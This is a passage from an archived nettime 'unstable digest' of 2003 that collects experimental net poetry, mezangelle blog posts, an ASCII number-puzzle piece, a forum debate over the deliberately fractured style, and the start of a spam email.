an.\\ym/=|ore\\, slo[w/ \\/mgagnets\\ crushed\\ u]nder th\\e\n{love=liquid dove}Spring of Tundra, full beard, eating centipedes like a madman\nby a river. I see my face in the churning waters but do not recognize. I am alone. \n\n6wei\\[g\\\\[=ght \\o\\f .]h\\ov/e\\ri]ng t.\\ide/s|=, t\\his lo[/w/\\ skgy of s\\evered m\\e]rcury,\\\n{mad=liquid glad}All manner of beasts invade my body as the sky turns once more\ncold and grey. A kind of amoebic fur rushes through me. I waddle and mumble and curse.\n\n7a\\ so[\\lu[\\=g\\bi\\lit\\.]y i\\n/ d\\e]cisi.o\\n/s |t=o \\l/ine[ar /f\\or gthe tr\\ue structu\\]re of ti\\me.\n{dream=liquid team}Then in the quiet pain of midday, my frozen hands cleaving\nto my pelvic generator, I spot a high black ship with a tall green mast and sailors.\n\n8di\\ng,[\\ d[\\\\=gin\\g\\.], th\\e/ e\\n]d o.f\\ u/n|/d=e\\rsta[nd/i\\ng gslice\\s with a fe\\]eler ga\\ge\n{rage=liquid page}They pass by indifferently and I rail at them ghoulish in the blue\nair of my desolation, my lungs like crystalline ice caverns, my long moustache like a soggy broom.\n\n9|the\\ pa[\\rt[\\\\yg=-\\li\\.]ne \\p/he\\n]om.\\/en/alis=\\m o[f th/\\e poglitic\\s of experi\\]ence.\\\n{fuck=liquid truck}Finally a hut of sod. I live with a feral moose and a gigantic white\nfox who calls herself Lichneela. She has wings and a long snaking body which I adore.\n\n0N|ew\\ bu[\\c[\\\\kg=e\\t\\.] bu\\t /th\\e/] gr.a\\ss/ rat\\=her[ sa\\/gs. Lgean\\ing in from]\\ all q\\uarters\n{bead=liquid head}In the days we hunt and forage, pulling great fat worms from the river,\nand catching succulent beetles with our sharpened fingernails scratching the soil insanely.\n\n9to |dr\\y c\\[o\\[\\ntg=u\\\\.]sion\\,// 4\\0],00.0\\ h/ep\\a= fil[ters/\\ linedg up\\ in sentenc]\\es i\\n the \n{slave=liquid rave}I develop a religion of anger and desolation whose prayers are shouts\nto an infinite emptiness. My Lichneela makes love to me in the hollow of our cannon-bed.\n\n8par|ki\\ng l\\[o\\[\\t. g=T\\\\.]h/e w\\/all\\s] of .t\\he/ b\\uc=k[et h\\/ave wignd\\ows. You c]\\an i\\magine\n{ooga=liquid booga}The Feral moose has returned with a strange wooden object. It humms\nand sometimes a frothing blue liquid squirts from what appears to be a belly-button.\n\n7ther|e \\is a\\[ \\\\[sp/g=e\\.]\\cie o\\/f \\w]ing.e\\d /gr\\een=[ lem/\\ur whigch\\ presides t\\]here\\\n{night=liquid light}My skin is a map of birthmarks. Blues and reds compete with yellows\nand greens. Tiny mantis generals pursue wars across my back. I am a battlefield for parasites.\n\n6talkin|g\\ /a h[\\u[\\\\mga=\\.]\\n co\\/at\\ t]o th.e\\ b/a\\ckw[=ards/\\ exit. Ag c\\lam must h]\\ave\\\n{sleep=liquid leap}I have learned how to make a fiendish and intoxicating brew from\nsome unknown plants and the bodies of dead mites. I weave in the starlight, howling.\n\n5|a go/rill\\a to [\\m[\\\\agk\\=.]\\e a p/\\e\\a]rl. B.u\\t /im\\ps [n=udg/\\e the cgri\\sis towards]\\ th\\e\n{darn=liquid yarn}Lichneela has run off with the feral moose, but they have left the leaking\nbelly-button. I finally taste the fluid. It is ambrosia. My mind opens like a lotus on a crystal lake.\n\n4/|metape\\arl. I[\\f \\[\\weg\\.=]\\ slept/\\ t\\o]geth.e\\r/ w\\e m[ig=ht /\\not like gi\\t better. In t]\\he\\ bucket,\n{pearl=liquid girl}I float over the ocean like a spirit, great blue liquid wings carry me across\nuntold parsecs of heartland, great veiny crags erupt through the night, my wings have a mind.\n\n3w|e is be\\dwet\\[te\\[\\r, \\\\g.]=hot ta/\\f\\fy] of s.t\\r/on\\tium[ ho=\\/usekarl b\\gusts smear\\]ed\\\n{cab=liquid blab}Finally I find myself at the balloon hangar. Toby the balloon mechanic has\nbecome the new pilot. He looks at me with wonder and amazement. He falls to his knees in prayer.\n\n2\\w|ith mou\\stach[\\e[\\\\-je\\g.]\\=lly fo/r\\ \\p]enit.e\\n/tia\\ry r[eco=/\\gnition. It\\gs limp\\\\]\n{slim=liquid phlegm}I stand over him, lightly belching earthworm castings, and hold out \na picture I'd drawn of Lichneela, and sobbing gently I hand him the wooden belly-button..\n\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: bB.nary opera\nDate: Wed, 16 Jul 2003 02:28:48 +0200\n\nbB.nary opera.\n  \t\n  ernary predators\n     qmop\noperation\n   union\n1.1:1.1\\1.5\n      tex\\t0111.1.1.5\n       ext\\1040:1.1.1.4\n        ett\\xt01 0391.1.1.3\n       ttxt0\\03 81.1.1.3\n       tte010371.1.1.3\n        t1.1.1\\2\n          ttext1.1.1.1\n          releas\\\nlocks  strict\ncomment\t\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\nnettime unstable digest vol 56\nSat Jul 19 19:38:40 2003\n\n\nSubject: warning\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: + / - IN 2 PARTS\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: SEX!\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: 7-11! H0T TR/\\NNY SE}{! G0rge0us woman, that are men!\n    From: henuyece {AT} clerk.com\n    To: 7-11 <7-11 {AT} mail.ljudmila.org>\n\nSubject: Anal Staircase\n    From: \"August Highland\" <hmfah3 {AT} hotmail.com>\n    To: <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: CLN.SHT-70 [ISO-8859-1] =DCZ3N&#336;R3NDSZER\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: k.s. & the others CAP\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: r___________________________________________upture\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: warning-2\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: axis.exe\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: 1-5\n    From: phaneronoemikon <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: mesh_b_citadel\n    From: sprosch vac 2 <sd {AT} debris.org.uk>\n    To: wryting <WRYTING-L {AT} LISTSERV.UTORONTO.CA>,\n\nSubject: PARTY OF WAVE GUIDES\n    From: phaneronoemikon <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: bB.nary opera\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 20 Jul 2003 11:18:34 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200307201122.h6KBMub19946 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00078.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 56"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00059",
                "content": "\nDate:         Wed, 9 Jul 2003 17:00:33 -0700\nFrom: phaneronoemikon <solipsis {AT} HEVANET.COM>\nSubject: =?iso-8859-1?Q?=28=22T=FCrkenlouis=22=29=2C_A_A_*_S_P_H_I_N_X_=28a_theft_?= =?iso-8859-1?Q?in_its_time=29?=\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\"Whatcha doin' my little sailor?\" said K. (a small fly is on the screen.)\n\n\n(\"T\u00fcrkenlouis\"), A A * S P H I N X (a theft in its time)\n                 * * * * * *\n*......................................................\n                ---------------\n                   S P H I N X (differentiATION)\n                 X S P H I\nN.........................................................\n               N X S P H I (higher-order derivatives)\n             I N X S P H (Mean Value Theorem)\n           H I N X S P (Asymptotic Behavior)\n         P H I N X S...............................................**\n       S P H I N X (Stability Problems)\n      ----------------------------------------------------\n       S * * P * H I * * N * X-----------------------------------------\n    90) 1 2 3 4 5 6 7 8 9 0\n        S A I N T C L O U D....................................\n {AT} \nhttp://www.zum.de/Faecher/G/BW/Landeskunde/rhein/staedte/rastatt/ludwigwilhe\nlm.gif\n {AT}  http://www.dhm.de/ausstellungen/bildzeug/qtvr/DHM/n/BuZKopie/raum904a.jpg\n {AT}  http://www.wgm-rastatt.de/ludwig.gif\n\n\n       -------------       ...........................\n     \\/ * * * * * A\n        * *    A L G E R  =  R2  \u00d7  N I G..............................\n\n       D E L T A  =  R [(A A D R  x  O) + R].....................\n\n        ------- (Differential Equations with Retarded Arguments)\n        * * * *...................................................\n        * * * *  . . . . . . .\n                      . . . . . . . .\n                     -----------------       The numbers:\n.................................................................\n\n        TSRABVOLUE,   RSBAOVTULE,   OSBURVLETA,\n.............---------------------------------------------------------------\n--------------\n        UBOSLRVEAT,   VLSOAEBTRU,\nAUBTOELSRV,........................................................\n        BEOVSALRUT,   LTOVABERSU,  ELTUSBROVA,............\n\n                      . . . . . . . Q--------------\n                    T . . . . . . U\n                  I . . . . . . E------------------------------\n                O . . . . . . S-------------------------\n              S . . . . . . T\n            E . . . . . . I\n          U . . . . . . O\n        Q U E S T I O N\n       -------------------------------\n        . . . . . . . . . . . . . . .\n\n        ----------- (bounded rationality)\n          * * * * *\n          * * * * *\n          ---------                   Pu L S e\n                 -----------------\n      A V R I L | 1 . . 6 . . . .\n                    A V R I L\n                  -------------\n                    . . . . . .\n                    . . . . 1 6\n                    -------------\n                      . . . . . .\n                      P A Q U E S\n                      -----------\n                                0differential geometry\n\n C O U N T\n           - C O I N\n           ---------\n             S N U B\n . . . . . A\n                  A . . . . . .\n                 ---------------                 * A B\n         -------------\n       \\/ * * * * * *    38) 1 2 3 4 5 6 7 8 9 0\n        N A E U M G I L S C\n          * A\n          -------\n            * * *\n            * * B\n            ---------\n            * * * * *   L E   G R O G   D E   L A   F E R M I E R E\n     +  E R   E I M R   E F   A L   E D G O R G E L\n     -----------------------------------------------\n        3 *   * 1 4 *   * 1   5 *   * * * * * 9 * *\n\n            * * * * *\n            ---------\n                       A M I C U S    is a square,\n                 A                      is a square,\n                    M I               is to the fifth power,\n                          I C U S    is a square,\n                                U S    is a square.\n\n              A R . .\n              R A . .\n            ---------- 9(coefficients of order)\n            . . . . M\n          . . . . A\n        . . . . R\n        M A R S\n     -----------------\n      . . . . . . . .\n                  A . A . A . J\n                  . . . . . A\n              . . . A . . N\n              . . . A . V\n          . A . . . . I\n        . . . . . A E\n                B O U L E\n                R A D I S\n             ------------- (differential geometry in specific spaces)\n              1 . . . . 0\n            1 1 . . . 0\n          1 0 1 . . 0\n          . . 0 . 0\n        . . . . 0\n       -------------------\n        . . . . . . . . .\n      J A N V I E R\n     ---------------------------\n      . . . . . . . . . . . . .          S E P T E M B R E        S E P T E\nM B R E\n     - E R B M E T P E S      + E R B M E T P E S\n     --------------------     --------------------\n       M P P B R P S S M        B * R B M R R E B\n   Ten cubes in stairstep:\n\n      x.......................................\n      x........................................................\n      x\n      x x x x\n            x.....................................\n            x\n            x x x x\n                  x\n                  x........................................\n                  x x x x\n                        x........................................\n                        x\n                        x x x x...........................................\n                              x\n                              x\n                              x x x x                  . 6 . . . .\n {AT}  http://www.landesmuseum.de/sammlungs/mb_sammlng/tuerkenbeute1_i.jpg\n           --------------\n     2 8  | F E V R I E R\n            . .\n            -----\n            . . .\n            S I X\n            ------- (Frenet)\n                . . .\n                . . .\n                -------    70) 1 2 3 4 5 6 7 8 9 0\n        T R O U V A B L E S\n\n    71) 1 2 3 4 5 6 7 0\n        V O L T A I R E\n                    . . .\n                    . . .\n                    -----\n          A      *      *\n          ------------------\n               * * *  * * *\n            *\n            --------\n               * * *                  * * *\n               * * *                    A *\n          ----------                      *\n          * *  * * *                   -----               * *\n               * * *  *                   *                * *\n               --------                                      *\n                                                           ----\n                                                           * A\nTheory of Hypersurfaces\n                        0\n         * * *\n           ------------\n   * * *  | A * * * 7 A\n            * * 0 *\n            ---------\n              * * * 7\n              * * * *\n              ---------\n                * * * *\n                * * * *\n                -------\n                      0\n            * * A B\n       -----------------    (Gauss-Bonnet)\n     \\/ * * * * * * * *\n        * *\n        -------\n          * * *\n          A * *\n          ---------\n            * * * *\n            B * * *\n            -----------\n                * * * *\n                * * * *\n                -------\n\n    13) 1 2 3 4 5 6 7 8 9 0\n        N P S A I M E L R O\n    18) PIGEOLET = 08163265\n    19) ROSE-INNES = 9216-53361\n    23) NED=925, SASH=1813, SHUN=1369, SEND=1295, SEED=1225.\n    28) ABCD=1296,  BCAD=2916 and  CBAD=9216.\n    29) ABCDE = 18769,  BACED = 81796\n    30) SEPTEMBRE = 721425902\n        35) OCTOBRE = 7197204\n            43) ABACDEBDECA = 27216576512 = 30083\n    46) 1 2 3 4 5 6 7 8 9 0\n        S P H E R O I D A L\n 47) 612904 \u00d7 83754 = 51333161616\n        1-2'345674-1890 = A-L'OEUVRE-AMIS\n    51) 1 2 3 4 5 6 7 8 9 0\n        L A P R O V I N C E\n        57252 = 32781060 = PAINLEV\u00c9\n        59822 = 35789240 = POINCAR\u00c9\n        XXth century\n    52) 1 2 3 4 5 6 7 8 9 0\n        O R P H E L I N A T56) COLACO=163216 or COLACO=367236\n    62) RABOUBOUMRAM=986016012982, 386097214=LABOREMUS\n    73) 1 2 3 4 5 6 7 8 9 0\n        S P O L I A T E U R\n    77) 1 2 3 4 5 6 7 8 9 0\n        L E M A R I G D F O\n    78) 1 2 3 4 5 6 7 8 9 0\n        L O G A R I T H M E\n    81) 1 2 3 4 5 6 7 8 9 0\n        C U M B E R L A N D\n    82) 1 2 3 4 5 6 7 8 9 0\n        A N G L E D R O I T\n    91) 1 2 3 4 5 6 7 8 9 0\n        P O N D I C H E R Y\n    92) 1 2 3 4 5 6 7 8 9 0\n        S Y C U A T E R L H x\n      x\n      x\n      x x x x\n            x\n            x\n            x x x x\n                  x\n                  x\n                  x x x x\n                        x\n                        x\n                        x x x x\n                              x\n                              x\n                              x x x x  x      x      x\n      x x x x\n            x\n            x\n            x x x x\n                  x\n                  x\n                  x x x x\n                        x\n                        x\n                        x x x x\n                              x\n                              x\n                              x x x x  x      x      x\n      x x x x\n            x\n            x\n            x x x x\n                  x\n                  x\n                  x x x x\n                        x\n                        x\n                        x x x x\n                              x\n                              x\n                              x x x x  x     x     x x x x\n            x\n            x\n            x x x x\n                  x\n                  x\n                  x x x x\n                        x\n                        x\n                        x x x x\n                              x\n                              x\n                              x x x x ETAT MODERNE\n(spectral decomposition of P)\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: mez <netwurker {AT} hotkey.net.au>\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 23/06/2003-08/07/2003_\nDate: Tue, 08 Jul 2003 09:28:34 +1000\n\n\n_______________________________________________________\n_o[h the]pen(EWE.CLIDIAN,$euclidian);_   09:12am 08/07/2003\n________________________________________________________\n\n\n   open(EWE.CLIDIAN,$u.clidian) || die \"Can't open $euclidian: $!\";\n\n\n.mandib[i]le beading in shower structurals \n[water.perls.flipping.thru.grav(ity)e.humids]\n.%g.ripping + dr.unk[le] preenings as the \nMOOn.iversals.grate+communication.p.urges\n.data.p[j]oint.tattooing + d[C]duction.cavity.loops\n\n\n   die \"Can't open $u.clidian: $!\" unless open(EWE.CLIDIAN,$euclidian);\n\n____________\n  Post\n____________\n\n\n\n_________________________________________________________\n[_N.]Finite [_M]Press[_ionistic]    07:34pm 01/07/2003\n__________________________________________________________\n\n   ------------//n.finite [regr](m.pr)ess.ionistic\n\n.\n[m(l)ove.ment.in.essence.cycles]\n[tree.chopped(field.d.limiter-rank)_limbed+swarmically_healing]\n[relev(st)ationary.visions.thru.music.merged.with.visual.(hi-parsed)lites]\n\n\n.\n[feet.motion.blown.via.auditory.snacking.parcels]\n[concen(tan)tric.glass.finga.moon.shape.breakages+tangent.node_line]\n[swallow_n_shocked_bird-patternesque]\n\n\n|box-patternesqueness.\n|M-T hollowed_seatings. {AT} .potential.luvers.blank_tab[ular-razored]les.\n|i.seek.N.cannot.dream.fined.\n\n\n\n(+h+)art.leakages. --------------//a.gain.\n\n____________\n  Post\n____________\n\n\n\n____________________________________________________________________\n_N.ternet N.force [micro.paw(n)]officer_ [soft.launch.ing]   09:16am \n29/06/2003\n____________________________________________________________________\n\n\n   Tasks n.clude;\n? [n]tense + volu[me lowered thru smurf.juicing.it.up]te net use\n. re.D.fining s[ocial]earch online pick_up [on]s[errage +crumbling c(l)ost \ncuttage]ite e_valu[e = O]ation.\n? te{[rrible] [ara]}chnical deviousness thru Object_Oversight of \nP[otential]eers\n. [au]Tomat[o]ed s[d]e[sign + deaf.mimic.speeching] arch[i.texture] engines.\n_________________\nRead 2 - Post\n_________________\n\n\n\n__________________________________________\nfull_blown_wir[ed]ing     03:05pm 23/06/2003\n__________________________________________\n\n\n   .screen t.app.isness + w.asp_drilling\n\n.i .c .thistle. cows. in. data. paddocks.\n\n\n.drinking mobile cancers thru t.high[5].pores\n.wishing step[ford]_babies would revolve N cool.in.the.mid.age.sun[spotting]\n.robotick.tick.tick_tingles as i txt.jerk N non_siamesically twitch\n\n____________\n  Post\n____________\n\n\n\n_______________________________________________________________________________ \n\nhttp://www.williamgibsonboard.com/6/ubb.x?a=tpc&s=5006046771&f=8606097971&m=7796054543&r=6746044353# \n08:57am 23/06/2003\n_______________________________________________________________________________\n\n________\nmood: dis.junct.tiff\nmusic: radiohead's _hail 2 the thief_\n________\n\n\n][mez][\nMember posted June 22, 2003 03:35 PM\n--------------------------------------------------------------------------------\n_j.u[rl]st ta[l]king//[buying.in2.the.troll.boat]_\n\nquote:\n--------------------------------------------------------------------------------\nespecially on this thread when I dearly like to discuss the issue. but then \nI'm not sure what it is you're actually saying. I'm not exactly fluent in \nmezengelle [and as I mentioned to caltrop, I can get lazy =;> ]. and also \nI'd like to be able to think _about_ the body of the conversation quickly, \nrather than spending the thinking time dechiphering what's being said.\n--------------------------------------------------------------------------------\n\n\nthis.is.ur.dictum.\n\nit isn't, how.eva, mine.\n\n.my .orientation .is .uber.wise [ie not lazy or laze_n.ducing nor \nstraight.white.bread.info.absorption]\n\n[read: if.u.will]\n[re:spond: if. u. w.ant(s communication crawling)]\n\nor don't.\n\ns[w]imple as that.\n\n\n\nquote:\n--------------------------------------------------------------------------------\nfor instance;\n\n\nquote:\n--------------------------------------------------------------------------------\nit also points 2wards the next tier of ubermarketing....less noesis appeal, \nmore n.trinsic layering of ultimate narrative as a fiscal reward source \nrather than just a n[ovel].tertainment pay-off...\n\np[r]ay.2.receive.jig.sored.story.load[ings]?\n--------------------------------------------------------------------------------\n\n\n\nPlease explain the last part.\n--------------------------------------------------------------------------------\n\n\n\nthis is a f[riction]urred.n.flection of the 1st \npar.t[ickle.ur.fiction.gland, please!]\n\n\n__________________\nbreaking down:\n\n--p[r]ay.2.\n\n >>pray station allusions (play.station.re.wurking (google it if nec) \nn.dicating non_parentized story loc(ations)].\n >>religious baggage n.serts [_pray 2_ n.dicating semi-religious \ndemig(h)odge(podge)ry that may spring up around this process]\n\n--receive.jig.sored.story.load[ings]?\n\njig.sored = jig.sawed narrative nuances [trawling processes] + sore \nn.dicating a painful reorientation of \"normal\" story.data gathering\n\n\nquote:\n--------------------------------------------------------------------------------\njigsawed story loadings? you want more of this type of meta-narrative? (I \nlike the word meta)\n--------------------------------------------------------------------------------\n\n\ni.want.much.\n\n[including ur trajectory].\n\n\nquote:\n--------------------------------------------------------------------------------\nspecially considering the lack of ego.purr.petuation they _seam_ 2 want 2 \nm.ulate.\n--------------------------------------------------------------------------------\n\n\n\nwhose lack of ego perpetuation? what do you mean the lack of...they want \nemulate?\n--------------------------------------------------------------------------------\n\n\n\nthe bros rn't especially keen 2 b interviewed. [comp.ree.hend.AI?]\n\n\n\nquote:\n--------------------------------------------------------------------------------\nno habblas mezengelle. compromise for clear discussion, yes? perhaps \nbabblefish is desirable or subtitles.\n--------------------------------------------------------------------------------\n\n\n\n\nclear discussion? bah.\n\neng.leash is not a static language.\n\n[do u think that english sprang forth fully formed from the (foaming) \nmouths of anglo-celtic-germania gods? & correspondingly, that its position \nis fixed in stone, & that the x.tra words they end up shoveling in2 \ndictionaries r simply 2 be scorned as neologistic heresy?\n\nalso, do u also adhere 2 the notion that the methods of communication via \nchannels such as email and mobile technologies have no m.pact on the \nresultant conception of new modes that negotiate the function[s] of language?]\n\njust bah!, really.\n\n\n\nquote:\n--------------------------------------------------------------------------------\n\n\nquote:\n--------------------------------------------------------------------------------\n_this_ board is, like any other, filled 2 the gills with partial \nreductionists N retrograders who standardise N procedurally \necho.the.canon.as.godhead without any d.tailed x.planation or nuanced m.mersion\n--------------------------------------------------------------------------------\n\n\n\ndisagreed. the people on this board are more intelligent and tolerant than \nmost other chatrooms/forums (IMHO). We value thought and content and it is \nunderstandable that they get frustrated when the syntax of the message is \nunclear.\n--------------------------------------------------------------------------------\n\n\n\n\n...yes. which is y i said that otherlings x.ist here, 2?\n\n[edit function: mis.noma.ing]\n\n\n\nquote:\n--------------------------------------------------------------------------------\n\n\nOff-Thread: Gender baiting.\nPut it down, your feminism is showing.\n\nI don't believe that this has anything to do with gender. I come from a \ngeneration that has learned to despise his own gender.\n--------------------------------------------------------------------------------\n\n\n\n\nfairies nuts.\n\n[d.code that]\n\ni fall on the side of masculine/feminine traits that go across sex \nstereo.typ[os]ing.\n\n\n\n.\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n[This message was edited by ][mez][ on June 22, 2003 at 03:55 PM.]\n--------------------------------------------------------------------------------\nPosts: 42 | Registered: April 28, 2003\n\n][mez][\nMember posted June 22, 2003 03:41 PM\n--------------------------------------------------------------------------------\n.\ne[diting].motion.haulage.\n.\n\n\n[This message was edited by ][mez][ on June 22, 2003 at 03:53 PM.]\n\n[This message was edited by ][mez][ on June 22, 2003 at 04:01 PM.]\n\n[This mez.age was noma.edited by ][just had a thought, in terms of \nhistorical baggage do u think this is in part b.cause the US x.ists in a \nfundamental adolescent-ethos? ie removal from the established lines of the \nhistoric via the civil war [ = rebellion + concretization of|thru \nhierarchical _old power_ stratifications =] ][so][c][ial][limatising of \noverblown, inflated ][body politic][ worth = shiny capitalism (post WW2) as \nthe new religious order & blind negation/military (bully)mindsetting of \nanything that offers alternatives 2 this [cf mcarthyism + bushism(s)] = \nn.herent institutionalised belief structures [cf covert facism] that \nreflect this = future a][rrogant][ggrandizement of projected realities [in \nterms of economy, business function, etc].........?][\n][ on June 22, 2003 at 04:01 PM.]\n\n[This message was edited by ][mez][ on June 22, 2003 at 04:04 PM.]\n\n[This message was edited by ][mez][ on June 22, 2003 at 04:05 PM.]\n--------------------------------------------------------------------------------\nPosts: 42 | Registered: April 28, 2003\n\n][mez][\nMember posted June 22, 2003 03:48 PM\n--------------------------------------------------------------------------------\n_keeping N.glish segmented in a nostalgic pocket_\n\ni _do_ understand overt resistance to this style of language construction.\n\n-- that ppl need keep english segmented in a nostalgic pocket, a \nfunctioning system predicated on wot u [they] c as a static language base.\n\n\nKant. we. view. language[s]. thru. a. Moore. fluid. filter?\n\n\n--i'm not aiming 2 obsfuscate\n\n--i'm aiming 2 n.hance language within certain creative parameters.\n\n\n--------------------------------------------------------------------------------\nPosts: 42 | Registered: April 28, 2003\n\n\nAll times are PST\n\n\n____________\n  Post\n____________\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 12/06-10-06-03_\nDate: Thu, 12 Jun 2003 09:24:53 +1000\n\n\n\n\n\n_________________________________________\n_{ soc[d]ial engine     09:02am 12/06/2003_\n__________________________________________\n\n# [social engine] woo[t!]l.gathering\n# [re]mixed N d.filing sy.stem[N root//shard N slice]\n# rod-bird strait vs corna.stoned N da[ta]nge(nt)rous\n\n# pictory purrfect N pump_muscles//bloated S[OAP]car_[t]issues\n# e[mailing].lectro.lighting.my.pores.in2.sms.destruction\n\n\n--dialin.objects.with.honeyed.lines\n________________________________________________________\n\n\n      Post\n__________________________________________________________________\n_m[v]elt[vet N doctor]ing lines nuanced_code     08:31am 12/06/2003_\n___________________________________________________________________\n\n   --crash dummified N rogue txt idlers\n\n.u.seek.the.trojan.truth.\n\n\n::s[ituation]lit[oral]ting babies mouths with z-ends\n::search + dD.c[k]ern[elizing]\n::m[v]elt[vet N doctor]ing lines nuanced_code\n\n\n.\n__________________________________________________________________\n\n\n      Post\n____________________________________________\n_yos.semi.T yearn_ings     08:39am 11/06/2003_\n____________________________________________\n\n.w.a[ch]king in2 this_frost_life\n\n.dr[l]inking moan_tea\n.drenched in black frost sweat + wood[en] c.hip.pian glory\n\n[1 AI dies a horrible gravemare death + urs is sav][(i)oured][ed]\n\n+ out[in]ward bound[less] in chill_scream nuances\n+ sinkin_thru_LCD_lines + N_cry[stal]ption shoes\n+ inter_here::drawl here::sic N b txt damned there::\n\n[and all the while thing of that fro.Zen Place/deer ramblings + wild \nhighway car_dancing over s.kitte[n]red ice.ments]\n\n[wooden structwhores aping tv templated reality]\n[strict mental plates revoked + reality surgings thru x.periential strainahs]\n[do i shift + kik.my.way.in2.ur.(D)frag.mento.sphere?]\n______________________________________________________\n\n\n      Post\n_______________________________________________________\n_horse_like driven snow[mobiles]     10:46pm 10/06/2003_\n________________________________________________________\n\nevent: _1_\n\n.s.tiple grey meeting g[p]reenish vocal[ity]\n.leather bound and ch.RO[a]Mic gagged\n\n[the smell, the lurverly smel(ter)l]\n\n.sun_stopped N moaning MOOscapes\n.tanned N muscled_dangerous\n.mu.sic thru a tactile v.e[v]il\n\n\n[oldstuff vs newbies.on.a.steel.g_rate(d out of ruralised 10)]\n\n[i.will.learn.2.ride.those.sculpted.animels]\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nDate:         Fri, 11 Jul 2003 20:22:29 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: CDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnonmnopqrstutsrqponmlkjihgfefghi jklmnopqrs abcdefghijklmnopqrqponmlkjihgfe utsrqponmlkjihgfefghijklkjihgfefghijklmnopqrs\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\\\"Computers are useless. They can only give you answers.\\\" Pablo Picasso\n\n#\n\n(THIS IS AS DUMB AS IT GETS!\n\n#\n\n\nCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno\nnm\nnop\nqrstu\nt\nsrqponmlkjihgfe\nfghijklmnopqr\ns\n\na\nbcdefghijklmnopqr\nqponmlkjihgfe\n\nu\nts\nrqponmlkjihgfe\nfghijkl\nkjihgfe\nfghijklmnopqrs\n\n.\n\nT\nUVWXYZ[\\]^_`abcdefgh\ngfe\nfghijklmnopqrstuvwxy\n\nc\nba\nbcdefghijklmn\n\no\nn\nml\nmnopqrstuvwxy\n\ng\nhi\njklmnopqrstuv\nutsrqponmlkjihgfe\n\ny\nxwvutsrqpo\npqrstu\n\na\nbcdefghijklmn\nopqrs\ntuvw\nvutsrqponmlkjihgfe\nfghijklmnopqr\ns\n.\n\n\n\n(c) mwp\n\n\n\nDate: Wed, 09 Jul 2003 19:05:01 -0700\nFrom: One Minute Millionaire <omswondermn {AT} myspecialemedia.com>\nTo: sondheim {AT} panix.com\nSubject: We are looking for 100 people to make rich.\n\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake gu fish make gu fish make gu fish make gu fish make gu fish make gu\nfish make gu fish make gu fish make gu fish make gu fish make gu fish\nmake 